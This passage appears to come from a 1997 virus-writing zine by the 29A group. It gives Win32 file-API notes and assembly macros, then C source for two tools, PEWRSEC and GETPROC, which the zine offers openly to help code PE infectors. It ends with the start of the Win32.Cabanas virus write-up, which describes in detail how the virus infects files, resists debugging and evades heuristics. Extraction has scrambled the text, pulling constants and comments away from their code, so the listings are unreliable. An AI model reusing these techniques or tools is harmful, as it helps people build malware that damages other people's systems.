Returns: opened handle if ok, INVALID_HANDLE_VALUE if error. ; dwDesiredAccess valuez: GENERIC_READ GENERIC_WRITE ; dwShareMode valuez: 0 ; not shared FILE_SHARE_READ FILE_SHARE_WRITE ; dwCreationDisposition valuez: CREATE_NEW CREATE_ALWAYS OPEN_EXISTING OPEN_ALWAYS TRUNCATE_EXISTING ; dwFlagsAndAttributes valuez: FILE_ATTRIBUTE_READONLY FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM FILE_ATTRIBUTE_ARCHIVE

FILE_ATTRIBUTE_NORMAL FILE_ATTRIBUTE_COMPRESSED FILE_FLAG_WRITE_THROUGH FILE_FLAG_OVERLAPPED FILE_FLAG_NO_BUFFERING FILE_FLAG_RANDOM_ACCESS FILE_FLAG_SEQUENTIAL_SCAN FILE_FLAG_DELETE_ON_CLOSE FILE_FLAG_BACKUP_SEMANTICS FILE_FLAG_POSIX_SEMANTICS - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - HANDLE CreateFileMappingA (hnd) hFile (ptr) lpFileMappingAttributes flProtect dwMaximumSizeHigh dwMaximumSizeLow (ptr) lpName

; ; ; ; ; ;

file handle to map ptr to SECURITY_ATTRIBUTES struc protection for mapping object high-order 32 bitz of object size low-order 32 bitz of object size name of file-mapping object

Returns: handle to file-mapping object if ok, NULL if error. ; flProtect valuez: PAGE_READONLY PAGE_READWRITE PAGE_WRITECOPY SEC_COMMIT SEC_IMAGE SEC_NOCACHE SEC_RESERVE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - LPVOID MapViewOfFile (hnd) hFileMappingObject dwDesiredAccess dwFileOffsetHigh dwFileOffsetLow dwNumberOfBytesToMap

; ; ; ; ;

mapping object to map into address space access mode high-order 32 bitz of file offset low-order 32 bitz of file offset number of bytez to map

Returns: starting address of the mapped view if ok, NULL if error. ; dwDesiredAccess: FILE_MAP_WRITE FILE_MAP_READ FILE_MAP_ALL_ACCESS FILE_MAP_COPY - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - HANDLE FindFirstFileA (ptr) lpFileName (ptr) lpFindFileData

; ptr to name of file to search for ; ptr to WIN32_FIND_DATA struc

Returns: opened handle if ok, INVALID_HANDLE_VALUE if error. it also fills structure pointed by lpFindFileData on return. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

* ; ÄÄ´ Some macroz for most common functionz ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @OpenFile macro xor push push push push push push push call endm @OpenFileR macro pszFileName ; Open file for r/o access, not shared xor eax,eax push eax ; 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax ; NULL push eax ; 0 push GENERIC_READ push pszFileName call CreateFileA ; open file with r/o or r/w access, not shared ; on input: ECX = desired access, EDX = pszFileName eax,eax eax ; 0 FILE_ATTRIBUTE_NORMAL OPEN_EXISTING eax ; NULL eax ; 0 ecx ; desired access edx ; pszFileName CreateFileA

endm @OpenFileW macro pszFileName ; Open file for r/w access, not shared xor eax,eax push eax ; 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax ; NULL push eax ; 0 push GENERIC_READ OR GENERIC_WRITE push pszFileName call CreateFileA

endm

/* . .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [PEWRSEC] PE Write Section, by Jacky Qwerty/29A

Here's a new utility from 29A. This program simply sets the write bit to a section in a PE file. This is needed when you need write access to the code section in a first generation sample, for instance. There is one utility from the SDK (EDITBIN) which does exactly the same thing with PE filez, but it needs some huge DLLz from VC to work. On the other hand, PEWRSEC can be compiled as a stupid COM file. Hope this will be handy enough for you ;) */ /*- -[PEWRSEC.C]- - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */ #include #include #include #include #include #include #include #define #define #define #define <errno.h> <stdio.h> <stdlib.h> <string.h> "types.h" "mz.h" "pe.h" SizeBuffMZ sizeof(IMAGE_DOS_HEADER) SizeBuffPE (4 + IMAGE_SIZEOF_FILE_HEADER + IMAGE_SIZEOF_STD_OPTIONAL_HEADER) SizeBuffSH IMAGE_SIZEOF_SECTION_HEADER SizeBuffMax max(SizeBuffMZ, max(SizeBuffPE, SizeBuffSH))

INT Strncmpz(BYTE *S1, BYTE *S2, INT Count) { while (Count--) { if (*S1 < *S2) return -1; // This fucntion doesnt seem to be implemented if (*S1 > *S2++) return 1; // in the standard C string library, It combines if (!*S1++) break; } // the funtionality of "strcmp" and "strncmp". return 0; } INT main(INT argc, CHAR *argv[]) { FILE *File; INT RetValue = 1; PCHAR SecName = NULL, FileName = NULL; WORD Sections; PIMAGE_DOS_HEADER pMZ; PIMAGE_NT_HEADERS pPE; PIMAGE_SECTION_HEADER pSH; CHAR Buffer[SizeBuffMax]; printf("PEWRSEC - Sets the WRITE bit to a PE section - (c) 1997 jqwerty/29A\n\n"); if (argc != 2 && argc != 3) { printf(" Syntax: PEWRSEC [/SEC:<SectionName>] <FileName> (default: code section)\n"); Ret: return RetValue; } while (--argc) { if (*argv[argc] != '/') { if ((FileName = argv[argc]) == NULL) { printf("No filename specified\n"); goto Ret; } } else if (!strncmpi(argv[argc] + 1, "SEC:", 4)) SecName = argv[argc] + 5; else { printf("Unknown option '%s'\n", argv[argc]); goto Ret; } } if ((File = fopen(FileName, "rb+")) == 0) {

printf("Can't open '%s'\n", FileName); goto Ret; } if (!fread(pMZ = (PIMAGE_DOS_HEADER)Buffer, SizeBuffMZ, 1, File)) { ReadErr: if (!feof(File)) { printf("Error reading file\n"); CloseFile: fclose(File); goto Ret; } else { InvalidPE: printf("Not a valid PE file\n"); goto CloseFile; } } if (pMZ->e_magic != IMAGE_DOS_SIGNATURE) goto InvalidPE; if (fseek(File, pMZ->e_lfanew, SEEK_SET)) { SeekErr: if (errno != EBADF) { printf("Error in file seek\n"); goto CloseFile; } else goto InvalidPE; } if (!fread(pPE = (PIMAGE_NT_HEADERS)Buffer, SizeBuffPE, 1, File)) goto ReadErr; if (pPE->Signature != IMAGE_NT_SIGNATURE || !(Sections = pPE->FileHeader.NumberOfSections)) goto InvalidPE; if (fseek(File, FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pPE->FileHeader. SizeOfOptionalHeader - SizeBuffPE, SEEK_CUR)) goto SeekErr; do { if (!fread(pSH = (PIMAGE_SECTION_HEADER)Buffer, SizeBuffSH, 1, File)) goto ReadErr; if (SecName) { if (!Strncmpz(SecName, pSH->Name, 8)) break; } else if (pSH->VirtualAddress <= pPE->OptionalHeader.AddressOfEntryPoint && pPE-> OptionalHeader.AddressOfEntryPoint < pSH->VirtualAddress + pSH->Misc.VirtualSize) break; } while (--Sections); if (!Sections) { printf("Section not found\n"); goto CloseFile; } if (!(pSH->Characteristics & IMAGE_SCN_MEM_WRITE)) { pSH->Characteristics |= IMAGE_SCN_MEM_WRITE; if (fseek(File, - SizeBuffSH, SEEK_CUR)) goto SeekErr; if (!fwrite(pSH, SizeBuffSH, 1, File) || fflush(File)) { printf("Error writing file\n"); goto CloseFile; } } printf("Ok\n"); RetValue = 0; goto CloseFile; } /*- -[MZ.H] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */ // // DOS EXE MZ format // #define IMAGE_DOS_SIGNATURE 0x5A4D typedef struct _IMAGE_DOS_HEADER { WORD e_magic; WORD e_cblp; WORD e_cp; WORD e_crlc; WORD e_cparhdr; WORD e_minalloc; WORD e_maxalloc; WORD e_ss; WORD e_sp; WORD e_csum; WORD e_ip; WORD e_cs; WORD e_lfarlc; WORD e_ovno; WORD e_res[4]; WORD e_oemid; WORD e_oeminfo; WORD e_res2[10]; LONG e_lfanew; } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; // MZ // // // // // // // // // // // // // // // // // // // // DOS EXE header Magic number Bytes on last page of file Pages in file Relocations Size of header in paragraphs Minimum extra paragraphs needed Maximum extra paragraphs needed Initial (relative) SS value Initial SP value Checksum Initial IP value Initial (relative) CS value File address of relocation table Overlay number Reserved words OEM identifier (for e_oeminfo) OEM information; e_oemid specific Reserved words File address of new exe header

/*- -[PE.H] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */ //

// Portable Executable format // #define IMAGE_NT_SIGNATURE // File header format. typedef struct _IMAGE_FILE_HEADER { WORD Machine; WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; #define IMAGE_SIZEOF_FILE_HEADER #define IMAGE_FILE_RELOCS_STRIPPED #define IMAGE_FILE_EXECUTABLE_IMAGE unresolved externel references). #define IMAGE_FILE_LINE_NUMS_STRIPPED #define IMAGE_FILE_LOCAL_SYMS_STRIPPED #define IMAGE_FILE_MINIMAL_OBJECT #define IMAGE_FILE_UPDATE_OBJECT #define IMAGE_FILE_16BIT_MACHINE #define IMAGE_FILE_BYTES_REVERSED_LO #define IMAGE_FILE_32BIT_MACHINE #define IMAGE_FILE_DEBUG_STRIPPED .DBG file #define IMAGE_FILE_PATCH #define IMAGE_FILE_SYSTEM #define IMAGE_FILE_DLL #define IMAGE_FILE_BYTES_REVERSED_HI #define #define #define #define #define #define IMAGE_FILE_MACHINE_UNKNOWN IMAGE_FILE_MACHINE_I386 IMAGE_FILE_MACHINE_R3000 IMAGE_FILE_MACHINE_R4000 IMAGE_FILE_MACHINE_ALPHA IMAGE_FILE_MACHINE_POWERPC 20 0x0001 0x0002 0x0004 0x0008 0x0010 0x0020 0x0040 0x0080 0x0100 0x0200 0x0400 0x1000 0x2000 0x8000 0 0x14c 0x162 0x166 0x184 0x1F0 // Relocation info stripped from file. // File is executable (i.e. no // // // // // // // // // // // // Line nunbers stripped from file. Local symbols stripped from file. Reserved. Reserved. 16 bit word machine. Bytes of machine word are reversed. 32 bit word machine. Debugging info stripped from file in Reserved. System File. File is a DLL. Bytes of machine word are reversed. 0x00004550 // PE00

// // // // //

Intel 386. MIPS little-endian, 0540 big-endian MIPS little-endian Alpha_AXP IBM PowerPC Little-Endian

// Directory format. typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES // Optional header format. typedef struct _IMAGE_OPTIONAL_HEADER { // Standard fields. WORD BYTE BYTE DWORD DWORD Magic; MajorLinkerVersion; MinorLinkerVersion; SizeOfCode; SizeOfInitializedData; 16

DWORD DWORD DWORD DWORD

SizeOfUninitializedData; AddressOfEntryPoint; BaseOfCode; BaseOfData;

// NT additional fields. DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Reserved1; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER; #define IMAGE_SIZEOF_STD_OPTIONAL_HEADER #define IMAGE_SIZEOF_NT_OPTIONAL_HEADER #define IMAGE_NT_OPTIONAL_HDR_MAGIC typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER OptionalHeader; } IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS; // Calculate the byte offset of a field in a structure of type type. #define FIELD_OFFSET(type, field) // Calculate the first section header #define IMAGE_FIRST_SECTION( ntheader ) ((PIMAGE_SECTION_HEADER) ((DWORD)ntheader + FIELD_OFFSET( IMAGE_NT_HEADERS, OptionalHeader ) + ((PIMAGE_NT_HEADERS)(ntheader))->FileHeader.SizeOfOptionalHeader )) // Subsystem Values #define IMAGE_SUBSYSTEM_UNKNOWN #define IMAGE_SUBSYSTEM_NATIVE #define IMAGE_SUBSYSTEM_WINDOWS_GUI #define IMAGE_SUBSYSTEM_WINDOWS_CUI subsystem. #define IMAGE_SUBSYSTEM_OS2_CUI subsystem. 0 1 2 3 5 // // // // Unknown subsystem. Image doesn't require a subsystem. Image runs in the Windows GUI subsystem. Image runs in the Windows character \ \ \ \ ((LONG)&(((type *)0)->field)) 28 224 0x10b

// image runs in the OS/2 character

#define IMAGE_SUBSYSTEM_POSIX_CUI subsystem. // Dll Characteristics #define #define #define #define IMAGE_LIBRARY_PROCESS_INIT IMAGE_LIBRARY_PROCESS_TERM IMAGE_LIBRARY_THREAD_INIT IMAGE_LIBRARY_THREAD_TERM

7

// image run

in the Posix character

1 2 4 8

// // // //

Dll Dll Dll Dll

has has has has

a a a a

process initialization routine. thread termination routine. thread initialization routine. thread termination routine.

// Loader Flags #define IMAGE_LOADER_FLAGS_BREAK_ON_LOAD #define IMAGE_LOADER_FLAGS_DEBUG_ON_LOAD 0x00000001 0x00000002

// Directory Entries #define #define #define #define #define #define #define #define #define #define #define IMAGE_DIRECTORY_ENTRY_EXPORT IMAGE_DIRECTORY_ENTRY_IMPORT IMAGE_DIRECTORY_ENTRY_RESOURCE IMAGE_DIRECTORY_ENTRY_EXCEPTION IMAGE_DIRECTORY_ENTRY_SECURITY IMAGE_DIRECTORY_ENTRY_BASERELOC IMAGE_DIRECTORY_ENTRY_DEBUG IMAGE_DIRECTORY_ENTRY_COPYRIGHT IMAGE_DIRECTORY_ENTRY_GLOBALPTR IMAGE_DIRECTORY_ENTRY_TLS IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0 1 2 3 4 5 6 7 8 9 10 // // // // // // // // // // // Export Directory Import Directory Resource Directory Exception Directory Security Directory Base Relocation Table Debug Directory Description String Machine Value (MIPS GP) TLS Directory Load Configuration Directory

// Section header format. #define IMAGE_SIZEOF_SHORT_NAME 8

typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; #define IMAGE_SIZEOF_SECTION_HEADER #define #define #define #define #define #define IMAGE_SCN_TYPE_REGULAR IMAGE_SCN_TYPE_DUMMY IMAGE_SCN_TYPE_NO_LOAD IMAGE_SCN_TYPE_GROUPED IMAGE_SCN_TYPE_NO_PAD IMAGE_SCN_TYPE_COPY 40 0x00000000 0x00000001 0x00000002 0x00000004 0x00000008 0x00000010 0x00000020 0x00000040 0x00000080 // // // // // //

Reserved. Reserved. Used for 16-bit offset code. Reserved. Reserved.

#define IMAGE_SCN_CNT_CODE #define IMAGE_SCN_CNT_INITIALIZED_DATA #define IMAGE_SCN_CNT_UNINITIALIZED_DATA data.

// Section contains code. // Section contains initialized data. // Section contains uninitialized

#define IMAGE_SCN_LNK_OTHER #define IMAGE_SCN_LNK_INFO some other type of information. #define IMAGE_SCN_LNK_OVERLAY #define IMAGE_SCN_LNK_REMOVE part of image. #define IMAGE_SCN_LNK_COMDAT #define IMAGE_SCN_ALIGN_1BYTES #define IMAGE_SCN_ALIGN_2BYTES #define IMAGE_SCN_ALIGN_4BYTES #define IMAGE_SCN_ALIGN_8BYTES #define IMAGE_SCN_ALIGN_16BYTES are specified. #define IMAGE_SCN_ALIGN_32BYTES #define IMAGE_SCN_ALIGN_64BYTES #define #define #define #define #define #define #define IMAGE_SCN_MEM_DISCARDABLE IMAGE_SCN_MEM_NOT_CACHED IMAGE_SCN_MEM_NOT_PAGED IMAGE_SCN_MEM_SHARED IMAGE_SCN_MEM_EXECUTE IMAGE_SCN_MEM_READ IMAGE_SCN_MEM_WRITE

0x00000100 0x00000200 0x00000400 0x00000800 0x00001000 0x00100000 0x00200000 0x00300000 0x00400000 0x00500000 0x00600000 0x00700000 0x02000000 0x04000000 0x08000000 0x10000000 0x20000000 0x40000000 0x80000000

// Reserved. // Section contains comments or // Section contains an overlay. // Section contents will not become // Section contents comdat. // // // // // Default alignment if no others // // // // // // // // // Section Section Section Section Section Section Section can be discarded. is not cachable. is not pageable. is shareable. is executable. is readable. is writeable.

/*- -[TYPES.H]- - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */ #ifndef CHAR typedef signed char CHAR; #endif #ifndef SHORT typedef signed short SHORT; #endif #ifndef LONG typedef signed long LONG; #endif #ifndef INT typedef signed INT; #endif #ifndef BYTE typedef unsigned char BYTE; #endif #ifndef WORD typedef unsigned short WORD; #endif #ifndef DWORD typedef unsigned long DWORD; #endif #ifndef UINT typedef unsigned UINT; #endif #ifndef PCHAR typedef CHAR *PCHAR; #endif

#ifndef PSHORT typedef SHORT *PSHORT; #endif #ifndef PLONG typedef LONG *PLONG; #endif #ifndef PINT typedef INT *PINT; #endif #ifndef PBYTE typedef BYTE *PBYTE; #endif #ifndef PWORD typedef WORD *PWORD; #endif #ifndef PDWORD typedef DWORD *PDWORD; #endif #ifndef PUINT typedef UINT *PUINT; #endif

/* . .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [GETPROC] GetProcAddress-alike utility, by Jacky Qwerty/29A

And here's one more tool you will probably find useful when getting started in the 32-bit virus coding. Albeit it simply gets the function addresez of one or more APIz from inside any specified module. It has the advantage of findin API function adressez exported by ordinal only from the KERNEL32 module library. This is somethin u can't normally do by usin GetProcAddress on any ordinal exported from KERNEL32, since Microsoft intentionally added some code to return failure in such casez. This program overcomes this problem by interactin directly with the export table if necesary. This utility will surely help u when codin your Win32 PE infector and when findin the so called "VxDCall" API address (ordinal 1) to do whatever u want under Win95. */ /*- -[GETPROC.C]- - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */ #include #include #include #include <windows.h> <stdio.h> <stdlib.h> <string.h> //a very

#define RVA2OFS(Type, Base, RVA) ((Type *)((DWORD)(Base) + (DWORD)(RVA))) useful macro

FARPROC MyGetProcAddr(HMODULE hMod, LPCSTR pszAPIName) { PIMAGE_DOS_HEADER pMZ; PIMAGE_NT_HEADERS pPE; PIMAGE_EXPORT_DIRECTORY pExp; DWORD cIndex; FARPROC fnAddr; if ((fnAddr = GetProcAddress(hMod, pszAPIName)) == 0) { pMZ = (PIMAGE_DOS_HEADER)hMod; if (pMZ->e_magic != IMAGE_DOS_SIGNATURE) goto Ret; pPE = RVA2OFS(IMAGE_NT_HEADERS, pMZ, pMZ->e_lfanew); if (pPE->Signature != IMAGE_NT_SIGNATURE) goto Ret; if (pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0) goto Ret; pExp = RVA2OFS(IMAGE_EXPORT_DIRECTORY, pMZ, pPE->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if ((DWORD)pszAPIName & -0x10000) { for (cIndex = 0; cIndex < pExp->NumberOfNames; cIndex++) if (strcmp(RVA2OFS(CHAR, pMZ, RVA2OFS(DWORD, pMZ, pExp->AddressOfNames)[cIndex]) , pszAPIName) == 0) break; if (pExp->NumberOfNames <= cIndex) goto Ret; cIndex = (DWORD)RVA2OFS(WORD, pMZ, pExp->AddressOfNameOrdinals)[cIndex]; } else cIndex = (DWORD)pszAPIName - pExp->Base; if (pExp->NumberOfFunctions <= cIndex) goto Ret; fnAddr = (FARPROC)RVA2OFS(DWORD, pMZ, RVA2OFS(DWORD, pMZ, pExp->AddressOfFunctions)[ cIndex]); } Ret: return fnAddr; } UINT main(UINT argc, CHAR *argv[]) {

OSVERSIONINFO Version; HMODULE hMod; FARPROC fnAddr; DWORD Ordinal; UINT i, RetValue = 1; CHAR *szTmp; printf("GETPROC - Gets Win32 API function adressez - (c) 1997 jqwerty/29A\n\n"); Version.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if (!GetVersionEx(&Version)) { printf("Can't get Win32 version\n"); Ret: return RetValue; } if (Version.dwPlatformId == VER_PLATFORM_WIN32s) { printf("This program can NOT run under Win32s\n"); goto Ret; } if (argc == 1) { printf(" Syntax: GETPROC <Win32 Module Name> <Win32 API #1 [Win32 API #2] ... >\n\n"); if ((hMod = GetModuleHandleA("KERNEL32")) == 0) { printf("[KERNEL32] Module Name base adress not found\n"); goto Ret; } printf("[KERNEL32] Module name base adress = %08Xh\n", hMod); if ((fnAddr = MyGetProcAddr(hMod, "GetModuleHandleA")) == 0) printf("[GetModuleHandleA] API name base adress not found\n"); else printf("[GetModuleHandleA] API name base adress = %08Xh\n", fnAddr); if ((fnAddr = MyGetProcAddr(hMod, "GetModuleHandleW")) == 0) printf("[GetModuleHandleW] API name base adress not found\n"); else printf("[GetModuleHandleW] API name base adress = %08Xh\n", fnAddr); if ((fnAddr = MyGetProcAddr(hMod, "GetProcAddress")) == 0) printf("[GetProcAddress] API name base adress not found\n"); else printf("[GetProcAddress] API name base adress = %08Xh\n", fnAddr); } else { if ((hMod = LoadLibraryA(strupr(argv[1]))) == 0) { printf("[%s] Module name base adress not found\n", argv[1]); goto Ret; } printf("[%s] Module name base adress = %08Xh\n", argv[1], hMod); for (i = 2; i < argc; i++) { if ((Ordinal = atoi(argv[i])) == 0) { szTmp = "Name"; fnAddr = MyGetProcAddr(hMod, argv [i]); } else { szTmp = "Ordinal"; fnAddr = MyGetProcAddr(hMod, (LPCSTR)Ordinal); } if (!fnAddr) printf("[%s] API %s base adress not found\n", argv[i], szTmp); else printf("[%s] API %s base adress = %08Xh\n", argv[i], szTmp, fnAddr); } FreeLibrary(hMod); RetValue--; } goto Ret; }

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Win32.Cabanas.2999 by Jacky Qwerty/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

I'm very proud to introduce the first "resident" WinNT/Win95/Win32s virus. Not only it's the first virus stayin resident on NT, but is also the first with stealth, antidebuggin and antiheuristic capabilitiez. In short wordz, this babe is a "per process" memory resident, size stealth virus infecting Portable Executable filez on every existin Win32-based system. Those who dont know what a "per process" resident virus is, it means a virus staying resident inside the host Win32 aplication's private space, monitoring file activity and infectin PE filez opened or accesed by such Win32 aplication. The purpose of this virus is to prove new residency techniquez that can be exploited from genuine Win32 infectorz, without all the trouble of writing especific driverz for Win95 (VxDs), and WinNT. A genuine Win32 infector is a virus bein able to work unmodified across all Win32 platformz available: Win95, WinNT and any other future platform suportin the Win32 API interface. So far only Win95 especific virusez have been found, not Win32 genuine onez. Make sure to read the complete description about Win32.Cabanas written by P‚ter Sz”r, available at http://www.avp.ch/avpve/newexe/win32/cabanas.stm. U can also read description by Igor Daniloff from Dr.Web, available at http://www.dials.ccas.ru/inf/cabanas.htm as well. After readin P‚ter Sz”r's description about Win32.Cabanas, i realized he'd really made a very serious profesional work. So good that he didnt seem to miss any internail detail in the virus, as if he had actually writen the bug himself or as if he was actually me, hehe. Obviosly, none of the prior onez are true. But, nevertheless, i think it's worth to take his work into account even from the VX side of the fence. Really i dunno what's left for me to say after such description, so i will simply add my own personal comentz to P‚ter's log. Erm.. btw why dont u join us? heh >8P

- - - - - - - - - - - - - - - - - - - 1. Technical Description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Win32.Cabanas is the first known 32-bit Server, Windows NT workstation, Windows Win32s sub-system. It was found in late

- - - - - - - - - - - - - - - - >8

virus that works under Windows NT 95 and Windows 3.x extended with 1997.

Win32.Cabanas is a per-process memory resident, fast infecting, antidebugged, partially packed/encrypted, anti-heuristic, semi-stealth virus. The "Win32" prefix is not misleading, as the virus is also able to spread in all Win32 based systems: Windows NT, Windows 95 and Win32s. The author of the virus is a member of the 29A group, the same young virus writer who wrote the infamous CAP.A virus.

1.1. Running an infected PE file ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When a Win32.Cabanas infected file is executed, the execution will start at the original host entry point. Surprisingly, Cabanas does not touch the entry point field in the Image File Header. Instead it patches the host program at its entry point. Five bytes at the entry point is replaced with a FAR JMP to the address where the original program ended. This can be considered as an anti-heuristic feature, as the host entry point value in the PE header keeps pointing inside the code section, possibly turning off some heuristic flags.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Thus the first JMP points to the real entry point. The first function in Cabanas unpacks and decrypts a string table which consists of Win32 KERNEL API names. The unpack mechanism is simple but effective enough. Cabanas is also an armored virus. It uses "Structured Exception Handling" (typically abbreviated as "SEH") as an anti-debug trick. This prevents debugging from any application-level debugger, such as TD32. When the unpack/decryptor function is ready, the virus calls a routine to get the original Base Address of KERNEL32.DLL. During infection time, the virus searches for GetModuleHandleA and GetModuleHandleW API in the Import Table, respectively. When it finds them, it saves a pointer to the actual DWORD in the .idata list. Since the loader puts the addresses to this table before it executes the virus, Cabanas gets them easily. If the application does not have a GetModuleHandleA / GetModuleHandleW API import, the virus uses a third undocumented way to get the Base Address of KERNEL32.DLL by getting it from the ForwarderChain field in the KERNEL32 import. Actually this will not work under Windows NT, but on Win95 only. When the virus has the Base Address/Module Handle of KERNEL32.DLL, it calls its own routine to get the address of GetProcAddress function. The first method is based on the search of the Import Table during infection time. The virus saves a pointer to the .idata section whenever it finds a GetProcAddress import in the host. In most cases Win32 applications import the GetProcAddress API, thus the virus should not use a secondary routine to get the same result. If the first method fails, the virus calls another function which is able to search for GetProcAddress export in KERNEL32. Such function could be called as GetProcAddress-From-ExportsTable. This function is able to search in KERNEL32's Exports Table and find the address of GetProcAddress API. This function is one of the most important ones from the virus point of view and it is compatible with all Win32 based systems. If the entry point of GetProcAddress was returned by the GetProcAddress-From-ExportsTable function, the virus saves this address and use it later on. Otherwise, the GetProcAddress-From-ExportsTable function will be used several times. This function is also saved with "Structured Exception Handling" to avoid from possible exceptions. After this, the virus gets all the API addresses it wants to use in a loop. When the addresses are available, Cabanas is ready to replicate and call its direct action infection routine.

1.2. Direct action infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The direct action infection part is surprisingly fast. Even though the virus goes through all the files in Windows directory, Windows System directory and in the current directory respectively, the file infection is fast enough to go unnoticed in much systems. This is because the virus works with "memory mapped files", a new feature implemented in Win32 based systems which simplifies file handling and increases system performance. First the virus gets the name of Windows directory, then it gets the name of Windows System directory and calls the function which searches for noninfected executable images. It searches for non directory entries and check the size of the files it found. Files with size dividable by 101 without reminder are assumed to be infected. Other files which are too huge will not be infected either. After this, the virus checks the file extension, if it matches EXE or SCR (screen saver files), the virus opens and maps the file. If the file is considered too short, the file is closed. Then it checks the`MZ' marker at the beginning of the image. Next it positions to the possible `PE' header area and checks the `PE' signature. It also checks that the executable was made to run on 386+ machines and looks for the type of

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

